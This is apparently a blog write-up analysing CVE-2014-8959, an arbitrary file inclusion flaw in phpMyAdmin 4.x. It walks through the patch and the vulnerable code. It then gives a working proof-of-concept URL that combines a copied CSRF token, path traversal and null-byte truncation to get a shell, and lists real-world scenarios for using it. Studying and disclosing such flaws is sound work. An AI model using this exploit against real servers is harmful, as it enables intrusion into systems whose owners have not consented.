[CVE-2014-8959] phpmyadmin Arbitrary File Inclusion Vulnerability Analysis
0x01 vulnerability description
Phpmyadmin is a mysql database management software that is widely used and developed based on PHP.
The latest CVE-2014-8959 announcement mentions that multiple versions of the program have Arbitrary File Inclusion vulnerabilities, the affected versions are as follows:
PhpMyAdmin
4.0.1-4.0.10.6
4.1.1-4.1.14.7
4.2.1-4.2.12
0x02 patch Analysis
I saw this vulnerability mentioned in bobao.360.cn, so I should write a small analysis, give a thought to the people who have no idea, and give some information to the friends who have learned code auditing.
Phpmyadmin released a new patch a few days ago.
Address here: http://www.phpmyadmin.net/home_page/security/PMASA-2014-14.php
Fixed the Arbitrary File Inclusion Vulnerability in phpmyadmin4.x. Let's take a look at the patch in phpmyadmin4.x:
Https://github.com/phpmyadmin/phpmyadmin/commit/2e3f0b9457b3c8f78beb864120bd9d55617a11b5
In the file libraries/gis/pma_gis_factory.php, an additional judgment is added for $ type_lower. From this we can guess that the point in the file is $ type_lower.
0x03 vulnerability code analysis
Let's go to libraries/gis/pma_gis_factory.php 29:
public static function factory($type) { include_once './libraries/gis/pma_gis_geometry.php'; $type_lower = strtolower($type); if (! file_exists('./libraries/gis/pma_gis_' . $type_lower . '.php')) { return false; } if (include_once './libraries/gis/pma_gis_' . $type_lower . '.php') { switch(strtoupper($type)) { case 'MULTIPOLYGON' : return PMA_GIS_Multipolygon::singleton(); case 'POLYGON' : return PMA_GIS_Polygon::singleton(); case 'MULTIPOINT' : return PMA_GIS_Multipoint::singleton(); case 'POINT' : return PMA_GIS_Point::singleton(); case 'MULTILINESTRING' : return PMA_GIS_Multilinestring::singleton(); case 'LINESTRING' : return PMA_GIS_Linestring::singleton(); case 'GEOMETRYCOLLECTION' : return PMA_GIS_Geometrycollection::singleton(); default : return false; } } else { return false; }}
Convert the input parameter $ type to lower-case and assign it to $ type_lower. Directly splice the parameter into a path for include_once.
Let's search for the factory function:
You can call it in many places, but the most direct one is/gis_data_editor.php. Come in and have a look:
// Get data if any posted$gis_data = array();if (PMA_isValid($_REQUEST['gis_data'], 'array')) { $gis_data = $_REQUEST['gis_data'];}$gis_types = array( 'POINT', 'MULTIPOINT', 'LINESTRING', 'MULTILINESTRING', 'POLYGON', 'MULTIPOLYGON', 'GEOMETRYCOLLECTION');// Extract type from the initial call and make sure that it's a valid one.// Extract from field's values if availbale, if not use the column type passed.if (! isset($gis_data['gis_type'])) { if (isset($_REQUEST['type']) && $_REQUEST['type'] != '') { $gis_data['gis_type'] = strtoupper($_REQUEST['type']); } if (isset($_REQUEST['value']) && trim($_REQUEST['value']) != '') { $start = (substr($_REQUEST['value'], 0, 1) == "'") ? 1 : 0; $gis_data['gis_type'] = substr( $_REQUEST['value'], $start, strpos($_REQUEST['value'], "(") - $start ); } if ((! isset($gis_data['gis_type'])) || (! in_array($gis_data['gis_type'], $gis_types)) ) { $gis_data['gis_type'] = $gis_types[0]; }}$geom_type = $gis_data['gis_type'];// Generate parameters from value passed.$gis_obj = PMA_GIS_Factory::factory($geom_type);
First, $ gis_data = $ _ REQUEST ['gis _ data']; obtain gis_data and determine whether $ gis_data ['gis _ type'] already exists, if so, skip the if clause. Finally, assign $ gis_data ['gis _ type']; To $ geom_type and pass in the PMA_GIS_Factory: factory function.
The actual method is very simple. It is actually to obtain $ _ REQUEST ['gis _ data'] ['gis _ type'] and splice it into include_once, resulting in arbitrary file inclusion.
0x04 utilization process and POC
Let's talk about exploitation. Why is this vulnerability not so popular? In my opinion, he needs two conditions:
1. log on to phpmyadmin
2. truncation required
Relatively weak. But in fact, these two conditions are not difficult to meet. In many cases, we may be able to obtain access permissions for some databases through any file, and we will be able to successfully escalate permissions through this vulnerability.
First, my test environment is php 5.2.17 + phpmyadmin 4.0.3 (think about why I chose this environment)
Create a common user test without any permissions. After logon, you can only view the tables test and information_schema:
Build url (((the upper-layer directory of pmacontains A phpinfo(your image mau1.gif ):
There is a blank space, and no phpinfo is displayed !?
This involves a CSRF defense mechanism of phpmyadmin, which comes to libraries/common. inc. php line 463:
$token_mismatch = true;if (PMA_isValid($_REQUEST['token'])) { $token_mismatch = ($_SESSION[' PMA_token '] != $_REQUEST['token']);}if ($token_mismatch) { /** * List of parameters which are allowed from unsafe source */ $allow_list = array( /* needed for direct access, see FAQ 1.34 * also, server needed for cookie login screen (multi-server) */ 'server', 'db', 'table', 'target', 'lang', /* Session ID */ 'phpMyAdmin', /* Cookie preferences */ 'pma_lang', 'pma_collation_connection', /* Possible login form */ 'pma_servername', 'pma_username', 'pma_password', /* Needed to send the correct reply */ 'ajax_request', /* Permit to log out even if there is a token mismatch */ 'old_usr' ); /** * Allow changing themes in test/theme.php */ if (defined('PMA_TEST_THEME')) { $allow_list[] = 'set_theme'; } /** * Require cleanup functions */ include './libraries/cleanup.lib.php'; /** * Do actual cleanup */ PMA_remove_request_vars($allow_list);}
He checked whether $ _ SESSION ['pma_token'] is equal to $ _ REQUEST ['Token']. If not, the PMA_remove_request_vars function will be entered:
function PMA_remove_request_vars(&$whitelist){ // do not check only $_REQUEST because it could have been overwritten // and use type casting because the variables could have become // strings $keys = array_keys( array_merge((array)$_REQUEST, (array)$_GET, (array)$_POST, (array)$_COOKIE) ); foreach ($keys as $key) { if (! in_array($key, $whitelist)) { unset($_REQUEST[$key], $_GET[$key], $_POST[$key], $GLOBALS[$key]); } else { // allowed stuff could be compromised so escape it // we require it to be a string if (isset($_REQUEST[$key]) && ! is_string($_REQUEST[$key])) { unset($_REQUEST[$key]); } if (isset($_POST[$key]) && ! is_string($_POST[$key])) { unset($_POST[$key]); } if (isset($_COOKIE[$key]) && ! is_string($_COOKIE[$key])) { unset($_COOKIE[$key]); } if (isset($_GET[$key]) && ! is_string($_GET[$key])) { unset($_GET[$key]); } } }}
In fact, all GPCR are cleared, so the subsequent operations will certainly not work properly.
Therefore, we must carry the token to access the OSS. Another student asked me, because the token is saved in the session, and I cannot see the session.
In fact, many phpmyadmin users should note that when we access pma, we usually see the token = xxx parameter in the url, we only need to copy the token during normal access:
You can use the token to access getshell:
Final POC:
Http: // localhost/pma/gis_data_editor.php? Token = 0b21e4cff71e1df9f63c9c4952a8547f & gis_data [gis_type] =/.../../u1.gif % 00
Token = xxx, xxx is your token, gis_data [gis_type] = yyy, yyy is the file you want to include. The parameter after the final concatenation to include_once is "./libraries/gis/pma_gis _/.../u1.gif ".
0x05 environment and chicken ribs
Think about the environment?
1. VM: Most VM panels provide you with a common database account and phpmyadmin. You can use this account to log on to the console and then use the include function to getshell to obtain panel permissions.
2. File Read/backup download: Some configuration files are read, and a database account is obtained. getshell is performed using phpmyadmin.
3. brute-force cracking: Some database users are cracked, and phpmyadmin is used to obtain shell.
Of course, there may be a lot of environments to use. In addition, we may also encounter the question of "which file to include", which of the following is the only way to rely on everyone's opinion and wisdom ~
0x05 repair suggestions
Update the latest official version: http://sourceforge.net/projects/phpmyadmin/